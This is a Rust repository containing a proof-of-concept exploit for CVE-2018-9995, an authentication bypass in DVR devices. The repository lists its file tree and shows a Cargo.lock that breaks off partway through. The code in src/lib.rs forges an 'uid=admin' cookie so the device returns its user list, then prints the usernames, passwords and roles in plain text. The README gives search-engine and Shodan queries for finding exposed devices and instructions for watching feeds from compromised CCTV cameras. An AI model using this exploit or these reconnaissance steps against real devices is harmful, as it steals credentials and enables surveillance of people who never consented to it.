├── .gitignore ├── Cargo.toml ├── src ├── main.rs └── lib.rs ├── README.md └── Cargo.lock /.gitignore: -------------------------------------------------------------------------------- 1 | /target 2 | -------------------------------------------------------------------------------- /Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "cve-2018-9995-rs" 3 | version = "0.1.0" 4 | edition = "2021" 5 | authors = ["0xDamian "] 6 | description = "An exploit/POC of the CVE-2018-9995 vulnerability in Rust" 7 | 8 | [dependencies] 9 | serde_json = "1.0" 10 | colored = "2.0.4" 11 | reqwest = { version = "0.11", features = ["blocking"] } -------------------------------------------------------------------------------- /src/main.rs: -------------------------------------------------------------------------------- 1 | use std::env; 2 | use cve_2018_9995_rs::{print_banner, execute_exploit}; 3 | 4 | fn main() { 5 | print_banner(); 6 | 7 | let args: Vec = env::args().collect(); 8 | 9 | if args.len() < 2 { 10 | eprintln!("Please provide a URL argument"); 11 | return; 12 | } 13 | 14 | let host = &args[1]; 15 | let port = if args.len() > 2 { 16 | args[2].parse::().unwrap_or(80) 17 | } else { 18 | 80 19 | }; 20 | 21 | if let Err(e) = execute_exploit(host, port) { 22 | eprintln!("Error: {}", e); 23 | } 24 | } 25 | 26 | // Usage: cargo run -- [port] 27 | // Example: cargo run -- http://example.com 8080 28 | // Example: cargo run -- http://example.com (will use port 80) -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## Overview 2 | 3 | This repository contains a proof-of-concept (PoC) exploit implemented in Rust targeting CVE-2018-9995. The code is for research and educational purposes only. 4 | 5 | ## CVE Details 6 | 7 | - Identifier: `CVE-2018-9995` 8 | 9 | - Summary: Proof-of-concept exploit demonstrating the vulnerability (see public advisories for technical details). 10 | 11 | ## Requirements 12 | 13 | - Rust toolchain (stable) — `rustc` and `cargo`. 14 | 15 | - Linux or any platform supported by Rust. 16 | 17 | ## Usage 18 | 19 | The repository is a PoC. Typical usage (example): 20 | 21 | ```bash 22 | cargo run -- IP PORT 23 | ``` 24 | 25 | Eg: 26 | ```bash 27 | cargo run -- 0.0.0.0 85 28 | ``` 29 | 30 | Defaults to port `80` if port isn't specified. 31 | 32 | 33 | how-it-works 34 | 35 | --- 36 | 37 | ## Finding Vulnerable Devices 38 | 39 | ### Google Dork 40 | 41 | ``` 42 | intitle:"DVR Login" 43 | ``` 44 | googlePOC 45 | 46 | ### Shodan (shodan.io) 47 | 48 | ``` 49 | "Server GNU rsp/1.0" 50 | ``` 51 | image 52 | 53 | ### Zoomeye (zoomeye.ai) 54 | ``` 55 | "/login.rsp" 56 | ``` 57 | image 58 | 59 | 60 | ## Watching Live Feeds 61 | 62 | To watch live feeds from compromised CCTV cameras, you need a browser that supports ActiveX. 63 | All modern browsers have dropped support for ActiveX, so one of the few ways to watch live feeds is to use Internet Explorer. 64 | You can either install a Windows 7 VM or use "IE Mode" in Edge on Windows 10/11. 65 | 66 | image 67 | 68 | 69 | --- 70 | ## Credits 71 | 72 | - Author: 0xDamian, [@damnsec1](https://x.com/damnsec1) on Twitter 73 | 74 | - References: https://nvd.nist.gov/vuln/detail/cve-2018-9995 (CVE Database), https://github.com/ezelf/CVE-2018-9995_dvr_credentials (Python POC) 75 | -------------------------------------------------------------------------------- /src/lib.rs: -------------------------------------------------------------------------------- 1 | use std::fs; 2 | use serde_json::Value; 3 | use colored::*; 4 | use reqwest::blocking::Client; 5 | use reqwest::header::{HeaderMap, HeaderValue, COOKIE}; 6 | 7 | pub fn clean_host(host: &str) -> String { 8 | host.replace("http://", "").replace("https://", "") 9 | } 10 | 11 | pub fn default_banner() -> &'static str { 12 | r#" 13 | ⠤⣤⣤⣤⣄⣀⣀⣀⣀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⣠⣤⠤⠤⠴⠶⠶⠶⠶ 14 | ⢠⣤⣤⡄⣤⣤⣤⠄⣀⠉⣉⣙⠒⠤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⠴⠘⣉⢡⣤⡤⠐⣶⡆⢶⠀⣶⣶⡦ 15 | ⣄⢻⣿⣧⠻⠇⠋⠀⠋⠀⢘⣿⢳⣦⣌⠳⠄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠞⣡⣴⣧⠻⣄⢸⣿⣿⡟⢁⡻⣸⣿⡿⠁ 16 | ⠈⠃⠙⢿⣧⣙⠶⣿⣿⡷⢘⣡⣿⣿⣿⣷⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣾⣿⣿⣿⣷⣝⡳⠶⠶⠾⣛⣵⡿⠋⠀⠀ 17 | ⠀⠀⠀⠀⠉⠻⣿⣶⠂⠘⠛⠛⠛⢛⡛⠋⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⠛⠀⠉⠒⠛⠀⠀⠀⠀⠀ 18 | ⠀⠀⠀⠀⠀⠀⣿⡇⠀⠀⠀⠀⠀⢸⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 19 | ⠀⠀⠀⠀⠀⠀⣿⡇⠀⠀⠀⠀⠀⣾⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 20 | ⠀⠀⠀⠀⠀⠀⣿⡇⠀⠀⠀⠀⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 21 | ⠀⠀⠀⠀⠀⠀⢻⡁⠀⠀⠀⠀⠀⢸⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 22 | ⠀⠀⠀⠀⠀⠀⠘⡇⠀⠀⠀⠀⠀⠀⠀ 23 | ⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 24 | ⠀⠀⠀ ⠀⠀⠀⠿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 25 | "# 26 | } 27 | 28 | pub fn read_banner(path: &str) -> String { 29 | fs::read_to_string(path).unwrap_or_else(|_| default_banner().to_string()) 30 | } 31 | 32 | pub fn print_banner() { 33 | let banner = read_banner("banner.txt"); 34 | println!("{}", banner.bright_red()); 35 | println!("{}", "Author: 0xDamian ".bright_blue().bold()); 36 | println!(); 37 | } 38 | 39 | pub fn execute_exploit(host: &str, port: u16) -> Result<(), String> { 40 | let clean_host = clean_host(host); 41 | let query_path = "/device.rsp?opt=user&cmd=list"; 42 | 43 | let url = format!("http://{}:{}{}", clean_host, port, query_path); 44 | println!("Executing request to: {}", url.yellow()); 45 | 46 | // Create a client with custom headers 47 | let client = Client::new(); 48 | let mut headers = HeaderMap::new(); 49 | headers.insert(COOKIE, HeaderValue::from_static("uid=admin")); 50 | 51 | // Execute the request 52 | let response = client 53 | .get(&url) 54 | .headers(headers) 55 | .send() 56 | .map_err(|e| e.to_string())?; 57 | 58 | // Get the response text 59 | let text = response.text().map_err(|e| e.to_string())?; 60 | 61 | if !text.is_empty() { 62 | if let Ok(json) = serde_json::from_str::(&text) { 63 | if let Some(list) = json["list"].as_array() { 64 | println!("\n{}", "Credentials Found:".green().bold()); 65 | println!("{}", "+-----------+----------+--------+".cyan()); 66 | println!("{}", "| Username | Password | Role |".cyan()); 67 | println!("{}", "+-----------+----------+--------+".cyan()); 68 | 69 | for user in list { 70 | let uid = user["uid"].as_str().unwrap_or("N/A"); 71 | let pwd = user["pwd"].as_str().unwrap_or("N/A"); 72 | let role = user["role"].as_u64().unwrap_or(0); 73 | println!("{}", 74 | format!("| {:<9} | {:<8} | {:<6} |", 75 | uid.bright_white(), 76 | pwd.bright_yellow(), 77 | role.to_string().bright_green() 78 | ).cyan() 79 | ); 80 | } 81 | 82 | println!("{}", "+-----------+----------+--------+".cyan()); 83 | } else { 84 | println!("{}", "No 'list' array in response.".red()); 85 | } 86 | } else { 87 | println!("Response not valid JSON:\n{}", text.red()); 88 | } 89 | } 90 | 91 | Ok(()) 92 | } -------------------------------------------------------------------------------- /Cargo.lock: -------------------------------------------------------------------------------- 1 | # This file is automatically @generated by Cargo. 2 | # It is not intended for manual editing. 3 | version = 4 4 | 5 | [[package]] 6 | name = "base64" 7 | version = "0.21.7" 8 | source = "registry+https://github.com/rust-lang/crates.io-index" 9 | checksum = "9d297deb1925b89f2ccc13d7635fa0714f12c87adce1c75356b39ca9b7178567" 10 | 11 | [[package]] 12 | name = "bitflags" 13 | version = "1.3.2" 14 | source = "registry+https://github.com/rust-lang/crates.io-index" 15 | checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" 16 | 17 | [[package]] 18 | name = "bitflags" 19 | version = "2.10.0" 20 | source = "registry+https://github.com/rust-lang/crates.io-index" 21 | checksum = "812e12b5285cc515a9c72a5c1d3b6d46a19dac5acfef5265968c166106e31dd3" 22 | 23 | [[package]] 24 | name = "bumpalo" 25 | version = "3.19.0" 26 | source = "registry+https://github.com/rust-lang/crates.io-index" 27 | checksum = "46c5e41b57b8bba42a04676d81cb89e9ee8e859a1a66f80a5a72e1cb76b34d43" 28 | 29 | [[package]] 30 | name = "bytes" 31 | version = "1.10.1" 32 | source = "registry+https://github.com/rust-lang/crates.io-index" 33 | checksum = "d71b6127be86fdcfddb610f7182ac57211d4b18a3e9c82eb2d17662f2227ad6a" 34 | 35 | [[package]] 36 | name = "cc" 37 | version = "1.2.44" 38 | source = "registry+https://github.com/rust-lang/crates.io-index" 39 | checksum = "37521ac7aabe3d13122dc382493e20c9416f299d2ccd5b3a5340a2570cdeb0f3" 40 | dependencies = [ 41 | "find-msvc-tools", 42 | "shlex", 43 | ] 44 | 45 | [[package]] 46 | name = "cfg-if" 47 | version = "1.0.4" 48 | source = "registry+https://github.com/rust-lang/crates.io-index" 49 | checksum = "9330f8b2ff13f34540b44e946ef35111825727b38d33286ef986142615121801" 50 | 51 | [[package]] 52 | name = "colored" 53 | version = "2.2.0" 54 | source = "registry+https://github.com/rust-lang/crates.io-index" 55 | checksum = "117725a109d387c937a1533ce01b450cbde6b88abceea8473c4d7a85853cda3c" 56 | dependencies = [ 57 | "lazy_static", 58 | "windows-sys 0.59.0", 59 | ] 60 | 61 | [[package]] 62 | name = "core-foundation" 63 | version = "0.9.4" 64 | source = "registry+https://github.com/rust-lang/crates.io-index" 65 | checksum = "91e195e091a93c46f7102ec7818a2aa394e1e1771c3ab4825963fa03e45afb8f" 66 | dependencies = [ 67 | "core-foundation-sys", 68 | "libc", 69 | ] 70 | 71 | [[package]] 72 | name = "core-foundation-sys" 73 | version = "0.8.7" 74 | source = "registry+https://github.com/rust-lang/crates.io-index" 75 | checksum = "773648b94d0e5d620f64f280777445740e61fe701025087ec8b57f45c791888b" 76 | 77 | [[package]] 78 | name = "cve-2018-9995-rs" 79 | version = "0.1.0" 80 | dependencies = [ 81 | "colored", 82 | "reqwest", 83 | "serde_json", 84 | ] 85 | 86 | [[package]] 87 | name = "displaydoc" 88 | version = "0.2.5" 89 | source = "registry+https://github.com/rust-lang/crates.io-index" 90 | checksum = "97369cbbc041bc366949bc74d34658d6cda5621039731c6310521892a3a20ae0" 91 | dependencies = [ 92 | "proc-macro2", 93 | "quote", 94 | "syn", 95 | ] 96 | 97 | [[package]] 98 | name = "encoding_rs" 99 | version = "0.8.35" 100 | source = "registry+https://github.com/rust-lang/crates.io-index" 101 | checksum = "75030f3c4f45dafd7586dd6780965a8c7e8e285a5ecb86713e63a79c5b2766f3" 102 | dependencies = [ 103 | "cfg-if", 104 | ] 105 | 106 | [[package]] 107 | name = "equivalent" 108 | version = "1.0.2" 109 | source = "registry+https://github.com/rust-lang/crates.io-index" 110 | checksum = "877a4ace8713b0bcf2a4e7eec82529c029f1d0619886d18145fea96c3ffe5c0f" 111 | 112 | [[package]] 113 | name = "errno" 114 | version = "0.3.14" 115 | source = "registry+https://github.com/rust-lang/crates.io-index" 116 | checksum = "39cab71617ae0d63f51a36d69f866391735b51691dbda63cf6f96d042b63efeb" 117 | dependencies = [ 118 | "libc", 119 | "windows-sys 0.59.0", 120 | ] 121 | 122 | [[package]] 123 | name = "fastrand" 124 | version = "2.3.0" 125 | source = "registry+https://github.com/rust-lang/crates.io-index" 126 | checksum = "37909eebbb50d72f9059c3b6d82c0463f2ff062c9e95845c43a6c9c0355411be" 127 | 128 | [[package]] 129 | name = "find-msvc-tools" 130 | version = "0.1.4" 131 | source = "registry+https://github.com/rust-lang/crates.io-index" 132 | checksum = "52051878f80a721bb68ebfbc930e07b65ba72f2da88968ea5c06fd6ca3d3a127" 133 | 134 | [[package]] 135 | name = "fnv" 136 | version = "1.0.7" 137 | source = "registry+https://github.com/rust-lang/crates.io-index" 138 | checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1" 139 | 140 | [[package]] 141 | name = "foreign-types" 142 | version = "0.3.2" 143 | source = "registry+https://github.com/rust-lang/crates.io-index" 144 | checksum = "f6f339eb8adc052cd2ca78910fda869aefa38d22d5cb648e6485e4d3fc06f3b1" 145 | dependencies = [ 146 | "foreign-types-shared", 147 | ] 148 | 149 | [[package]] 150 | name = "foreign-types-shared" 151 | version = "0.1.1" 152 | source = "registry+https://github.com/rust-lang/crates.io-index" 153 | checksum = "00b0228411908ca8685dba7fc2cdd70ec9990a6e753e89b6ac91a84c40fbaf4b" 154 | 155 | [[package]] 156 | name = "form_urlencoded" 157 | version = "1.2.2" 158 | source = "registry+https://github.com/rust-lang/crates.io-index" 159 | checksum = "cb4cb245038516f5f85277875cdaa4f7d2c9a0fa0468de06ed190163b1581fcf" 160 | dependencies = [ 161 | "percent-encoding", 162 | ] 163 | 164 | [[package]] 165 | name = "futures-channel" 166 | version = "0.3.31" 167 | source = "registry+https://github.com/rust-lang/crates.io-index" 168 | checksum = "2dff15bf788c671c1934e366d07e30c1814a8ef514e1af724a602e8a2fbe1b10" 169 | dependencies = [ 170 | "futures-core", 171 | ] 172 | 173 | [[package]] 174 | name = "futures-core" 175 | version = "0.3.31" 176 | source = "registry+https://github.com/rust-lang/crates.io-index" 177 | checksum = "05f29059c0c2090612e8d742178b0580d2dc940c837851ad723096f87af6663e" 178 | 179 | [[package]] 180 | name = "futures-io" 181 | version = "0.3.31" 182 | source = "registry+https://github.com/rust-lang/crates.io-index" 183 | checksum = "9e5c1b78ca4aae1ac06c48a526a655760685149f0d465d21f37abfe57ce075c6" 184 | 185 | [[package]] 186 | name = "futures-sink" 187 | version = "0.3.31" 188 | source = "registry+https://github.com/rust-lang/crates.io-index" 189 | checksum = "e575fab7d1e0dcb8d0c7bcf9a63ee213816ab51902e6d244a95819acacf1d4f7" 190 | 191 | [[package]] 192 | name = "futures-task" 193 | version = "0.3.31" 194 | source = "registry+https://github.com/rust-lang/crates.io-index" 195 | checksum = "f90f7dce0722e95104fcb095585910c0977252f286e354b5e3bd38902cd99988" 196 | 197 | [[package]] 198 | name = "futures-util" 199 | version = "0.3.31" 200 | source = "registry+https://github.com/rust-lang/crates.io-index" 201 | checksum = "9fa08315bb612088cc391249efdc3bc77536f16c91f6cf495e6fbe85b20a4a81" 202 | dependencies = [ 203 | "futures-core", 204 | "futures-io", 205 | "futures-task", 206 | "memchr", 207 | "pin-project-lite", 208 | "pin-utils", 209 | "slab", 210 | ] 211 | 212 | [[package]] 213 | name = "getrandom" 214 | version = "0.3.4" 215 | source = "registry+https://github.com/rust-lang/crates.io-index" 216 | checksum = "899def5c37c4fd7b2664648c28120ecec138e4d395b459e5ca34f9cce2dd77fd" 217 | dependencies = [ 218 | "cfg-if", 219 | "libc", 220 | "r-efi", 221 | "wasip2", 222 | ] 223 | 224 | [[package]] 225 | name = "h2" 226 | version = "0.3.27" 227 | source = "registry+https://github.com/rust-lang/crates.io-index" 228 | checksum = "0beca50380b1fc32983fc1cb4587bfa4bb9e78fc259aad4a0032d2080309222d" 229 | dependencies = [ 230 | "bytes", 231 | "fnv", 232 | "futures-core", 233 | "futures-sink", 234 | "futures-util", 235 | "http", 236 | "indexmap", 237 | "slab", 238 | "tokio", 239 | "tokio-util", 240 | "tracing", 241 | ] 242 | 243 | [[package]] 244 | name = "hashbrown" 245 | version = "0.16.0" 246 | source = "registry+https://github.com/rust-lang/crates.io-index" 247 | checksum = "5419bdc4f6a9207fbeba6d11b604d481addf78ecd10c11ad51e76c2f6482748d" 248 | 249 | [[package]] 250 | name = "http" 251 | version = "0.2.12" 252 | source = "registry+https://github.com/rust-lang/crates.io-index" 253 | checksum = "601cbb57e577e2f5ef5be8e7b83f0f63994f25aa94d673e54a92d5c516d101f1" 254 | dependencies = [ 255 | "bytes", 256 | "fnv", 257 | "itoa", 258 | ] 259 | 260 | [[package]] 261 | name = "http-body" 262 | version = "0.4.6" 263 | source = "registry+https://github.com/rust-lang/crates.io-index" 264 | checksum = "7ceab25649e9960c0311ea418d17bee82c0dcec1bd053b5f9a66e265a693bed2" 265 | dependencies = [ 266 | "bytes", 267 | "http", 268 | "pin-project-lite", 269 | ] 270 | 271 | [[package]] 272 | name = "httparse" 273 | version = "1.10.1" 274 | source = "registry+https://github.com/rust-lang/crates.io-index" 275 | checksum = "6dbf3de79e51f3d586ab4cb9d5c3e2c14aa28ed23d180cf89b4df0454a69cc87" 276 | 277 | [[package]] 278 | name = "httpdate" 279 | version = "1.0.3" 280 | source = "registry+https://github.com/rust-lang/crates.io-index" 281 | checksum = "df3b46402a9d5adb4c86a0cf463f42e19994e3ee891101b1841f30a545cb49a9" 282 | 283 | [[package]] 284 | name = "hyper" 285 | version = "0.14.32" 286 | source = "registry+https://github.com/rust-lang/crates.io-index" 287 | checksum = "41dfc780fdec9373c01bae43289ea34c972e40ee3c9f6b3c8801a35f35586ce7" 288 | dependencies = [ 289 | "bytes", 290 | "futures-channel", 291 | "futures-core", 292 | "futures-util", 293 | "h2", 294 | "http", 295 | "http-body", 296 | "httparse", 297 | "httpdate", 298 | "itoa", 299 | "pin-project-lite", 300 | "socket2 0.5.10", 301 | "tokio", 302 | "tower-service", 303 | "tracing", 304 | "want", 305 | ] 306 | 307 | [[package]] 308 | name = "hyper-tls" 309 | version = "0.5.0" 310 | source = "registry+https://github.com/rust-lang/crates.io-index" 311 | checksum = "d6183ddfa99b85da61a140bea0efc93fdf56ceaa041b37d553518030827f9905" 312 | dependencies = [ 313 | "bytes", 314 | "hyper", 315 | "native-tls", 316 | "tokio", 317 | "tokio-native-tls", 318 | ] 319 | 320 | [[package]] 321 | name = "icu_collections" 322 | version = "2.1.1" 323 | source = "registry+https://github.com/rust-lang/crates.io-index" 324 | checksum = "4c6b649701667bbe825c3b7e6388cb521c23d88644678e83c0c4d0a621a34b43" 325 | dependencies = [ 326 | "displaydoc", 327 | "potential_utf", 328 | "yoke", 329 | "zerofrom", 330 | "zerovec", 331 | ] 332 | 333 | [[package]] 334 | name = "icu_locale_core" 335 | version = "2.1.1" 336 | source = "registry+https://github.com/rust-lang/crates.io-index" 337 | checksum = "edba7861004dd3714265b4db54a3c390e880ab658fec5f7db895fae2046b5bb6" 338 | dependencies = [ 339 | "displaydoc", 340 | "litemap", 341 | "tinystr", 342 | "writeable", 343 | "zerovec", 344 | ] 345 | 346 | [[package]] 347 | name = "icu_normalizer" 348 | version = "2.1.1" 349 | source = "registry+https://github.com/rust-lang/crates.io-index" 350 | checksum = "5f6c8828b67bf8908d82127b2054ea1b4427ff0230ee9141c54251934ab1b599" 351 | dependencies = [ 352 | "icu_collections", 353 | "icu_normalizer_data", 354 | "icu_properties", 355 | "icu_provider", 356 | "smallvec", 357 | "zerovec", 358 | ] 359 | 360 | [[package]] 361 | name = "icu_normalizer_data" 362 | version = "2.1.1" 363 | source = "registry+https://github.com/rust-lang/crates.io-index" 364 | checksum = "7aedcccd01fc5fe81e6b489c15b247b8b0690feb23304303a9e560f37efc560a" 365 | 366 | [[package]] 367 | name = "icu_properties" 368 | version = "2.1.1" 369 | source = "registry+https://github.com/rust-lang/crates.io-index" 370 | checksum = "e93fcd3157766c0c8da2f8cff6ce651a31f0810eaa1c51ec363ef790bbb5fb99" 371 | dependencies = [ 372 | "icu_collections", 373 | "icu_locale_core", 374 | "icu_properties_data", 375 | "icu_provider", 376 | "zerotrie", 377 | "zerovec", 378 | ] 379 | 380 | [[package]] 381 | name = "icu_properties_data" 382 | version = "2.1.1" 383 | source = "registry+https://github.com/rust-lang/crates.io-index" 384 | checksum = "02845b3647bb045f1100ecd6480ff52f34c35f82d9880e029d329c21d1054899" 385 | 386 | [[package]] 387 | name = "icu_provider" 388 | version = "2.1.1" 389 | source = "registry+https://github.com/rust-lang/crates.io-index" 390 | checksum = "85962cf0ce02e1e0a629cc34e7ca3e373ce20dda4c4d7294bbd0bf1fdb59e614" 391 | dependencies = [ 392 | "displaydoc", 393 | "icu_locale_core", 394 | "writeable", 395 | "yoke", 396 | "zerofrom", 397 | "zerotrie", 398 | "zerovec", 399 | ] 400 | 401 | [[package]] 402 | name = "idna" 403 | version = "1.1.0" 404 | source = "registry+https://github.com/rust-lang/crates.io-index" 405 | checksum = "3b0875f23caa03898994f6ddc501886a45c7d3d62d04d2d90788d47be1b1e4de" 406 | dependencies = [ 407 | "idna_adapter", 408 | "smallvec", 409 | "utf8_iter", 410 | ] 411 | 412 | [[package]] 413 | name = "idna_adapter" 414 | version = "1.2.1" 415 | source = "registry+https://github.com/rust-lang/crates.io-index" 416 | checksum = "3acae9609540aa318d1bc588455225fb2085b9ed0c4f6bd0d9d5bcd86f1a0344" 417 | dependencies = [ 418 | "icu_normalizer", 419 | "icu_properties", 420 | ] 421 | 422 | [[package]] 423 | name = "indexmap" 424 | version = "2.12.0" 425 | source = "registry+https://github.com/rust-lang/crates.io-index" 426 | checksum = "6717a8d2a5a929a1a2eb43a12812498ed141a0bcfb7e8f7844fbdbe4303bba9f" 427 | dependencies = [ 428 | "equivalent", 429 | "hashbrown", 430 | ] 431 | 432 | [[package]] 433 | name = "ipnet" 434 | version = "2.11.0" 435 | source = "registry+https://github.com/rust-lang/crates.io-index" 436 | checksum = "469fb0b9cefa57e3ef31275ee7cacb78f2fdca44e4765491884a2b119d4eb130" 437 | 438 | [[package]] 439 | name = "itoa" 440 | version = "1.0.15" 441 | source = "registry+https://github.com/rust-lang/crates.io-index" 442 | checksum = "4a5f13b858c8d314ee3e8f639011f7ccefe71f97f96e50151fb991f267928e2c" 443 | 444 | [[package]] 445 | name = "js-sys" 446 | version = "0.3.82" 447 | source = "registry+https://github.com/rust-lang/crates.io-index" 448 | checksum = "b011eec8cc36da2aab2d5cff675ec18454fad408585853910a202391cf9f8e65" 449 | dependencies = [ 450 | "once_cell", 451 | "wasm-bindgen", 452 | ] 453 | 454 | [[package]] 455 | name = "lazy_static" 456 | version = "1.5.0" 457 | source = "registry+https://github.com/rust-lang/crates.io-index" 458 | checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe" 459 | 460 | [[package]] 461 | name = "libc" 462 | version = "0.2.177" 463 | source = "registry+https://github.com/rust-lang/crates.io-index" 464 | checksum = "2874a2af47a2325c2001a6e6fad9b16a53b802102b528163885171cf92b15976" 465 | 466 | [[package]] 467 | name = "linux-raw-sys" 468 | version = "0.11.0" 469 | source = "registry+https://github.com/rust-lang/crates.io-index" 470 | checksum = "df1d3c3b53da64cf5760482273a98e575c651a67eec7f77df96b5b642de8f039" 471 | 472 | [[package]] 473 | name = "litemap" 474 | version = "0.8.1" 475 | source = "registry+https://github.com/rust-lang/crates.io-index" 476 | checksum = "6373607a59f0be73a39b6fe456b8192fcc3585f602af20751600e974dd455e77" 477 | 478 | [[package]] 479 | name = "log" 480 | version = "0.4.28" 481 | source = "registry+https://github.com/rust-lang/crates.io-index" 482 | checksum = "34080505efa8e45a4b816c349525ebe327ceaa8559756f0356cba97ef3bf7432" 483 | 484 | [[package]] 485 | name = "memchr" 486 | version = "2.7.6" 487 | source = "registry+https://github.com/rust-lang/crates.io-index" 488 | checksum = "f52b00d39961fc5b2736ea853c9cc86238e165017a493d1d5c8eac6bdc4cc273" 489 | 490 | [[package]] 491 | name = "mime" 492 | version = "0.3.17" 493 | source = "registry+https://github.com/rust-lang/crates.io-index" 494 | checksum = "6877bb514081ee2a7ff5ef9de3281f14a4dd4bceac4c09388074a6b5df8a139a" 495 | 496 | [[package]] 497 | name = "mio" 498 | version = "1.1.0" 499 | source = "registry+https://github.com/rust-lang/crates.io-index" 500 | checksum = "69d83b0086dc8ecf3ce9ae2874b2d1290252e2a30720bea58a5c6639b0092873" 501 | dependencies = [ 502 | "libc", 503 | "wasi", 504 | "windows-sys 0.61.2", 505 | ] 506 | 507 | [[package]] 508 | name = "native-tls" 509 | version = "0.2.14" 510 | source = "registry+https://github.com/rust-lang/crates.io-index" 511 | checksum = "87de3442987e9dbec73158d5c715e7ad9072fda936bb03d19d7fa10e00520f0e" 512 | dependencies = [ 513 | "libc", 514 | "log", 515 | "openssl", 516 | "openssl-probe", 517 | "openssl-sys", 518 | "schannel", 519 | "security-framework", 520 | "security-framework-sys", 521 | "tempfile", 522 | ] 523 | 524 | [[package]] 525 | name = "once_cell" 526 | version = "1.21.3" 527 | source = "registry+https://github.com/rust-lang/crates.io-index" 528 | checksum = "42f5e15c9953c5e4ccceeb2e7382a716482c34515315f7b03532b8b4e8393d2d" 529 | 530 | [[package]] 531 | name = "openssl" 532 | version = "0.10.74" 533 | source = "registry+https://github.com/rust-lang/crates.io-index" 534 | checksum = "24ad14dd45412269e1a30f52ad8f0664f0f4f4a89ee8fe28c3b3527021ebb654" 535 | dependencies = [ 536 | "bitflags 2.10.0", 537 | "cfg-if", 538 | "foreign-types", 539 | "libc", 540 | "once_cell", 541 | "openssl-macros", 542 | "openssl-sys", 543 | ] 544 | 545 | [[package]] 546 | name = "openssl-macros" 547 | version = "0.1.1" 548 | source = "registry+https://github.com/rust-lang/crates.io-index" 549 | checksum = "a948666b637a0f465e8564c73e89d4dde00d72d4d473cc972f390fc3dcee7d9c" 550 | dependencies = [ 551 | "proc-macro2", 552 | "quote", 553 | "syn", 554 | ] 555 | 556 | [[package]] 557 | name = "openssl-probe" 558 | version = "0.1.6" 559 | source = "registry+https://github.com/rust-lang/crates.io-index" 560 | checksum = "d05e27ee213611ffe7d6348b942e8f942b37114c00cc03cec254295a4a17852e" 561 | 562 | [[package]] 563 | name = "openssl-sys" 564 | version = "0.9.110" 565 | source = "registry+https://github.com/rust-lang/crates.io-index" 566 | checksum = "0a9f0075ba3c21b09f8e8b2026584b1d18d49388648f2fbbf3c97ea8deced8e2" 567 | dependencies = [ 568 | "cc", 569 | "libc", 570 | "pkg-config", 571 | "vcpkg", 572 | ] 573 | 574 | [[package]] 575 | name = "percent-encoding" 576 | version = "2.3.2" 577 | source = "registry+https://github.com/rust-lang/crates.io-index" 578 | checksum = "9b4f627cb1b25917193a259e49bdad08f671f8d9708acfd5fe0a8c1455d87220" 579 | 580 | [[package]] 581 | name = "pin-project-lite" 582 | version = "0.2.16" 583 | source = "registry+https://github.com/rust-lang/crates.io-index" 584 | checksum = "3b3cff922bd51709b605d9ead9aa71031d81447142d828eb4a6eba76fe619f9b" 585 | 586 | [[package]] 587 | name = "pin-utils" 588 | version = "0.1.0" 589 | source = "registry+https://github.com/rust-lang/crates.io-index" 590 | checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184" 591 | 592 | [[package]] 593 | name = "pkg-config" 594 | version = "0.3.32" 595 | source = "registry+https://github.com/rust-lang/crates.io-index" 596 | checksum = "7edddbd0b52d732b21ad9a5fab5c704c14cd949e5e9a1ec5929a24fded1b904c" 597 | 598 | [[package]] 599 | name = "potential_utf" 600 | version = "0.1.4" 601 | source = "registry+https://github.com/rust-lang/crates.io-index" 602 | checksum = "b73949432f5e2a09657003c25bca5e19a0e9c84f8058ca374f49e0ebe605af77" 603 | dependencies = [ 604 | "zerovec", 605 | ] 606 | 607 | [[package]] 608 | name = "proc-macro2" 609 | version = "1.0.103" 610 | source = "registry+https://github.com/rust-lang/crates.io-index" 611 | checksum = "5ee95bc4ef87b8d5ba32e8b7714ccc834865276eab0aed5c9958d00ec45f49e8" 612 | dependencies = [ 613 | "unicode-ident", 614 | ] 615 | 616 | [[package]] 617 | name = "quote" 618 | version = "1.0.41" 619 | source = "registry+https://github.com/rust-lang/crates.io-index" 620 | checksum = "ce25767e7b499d1b604768e7cde645d14cc8584231ea6b295e9c9eb22c02e1d1" 621 | dependencies = [ 622 | "proc-macro2", 623 | ] 624 | 625 | [[package]] 626 | name = 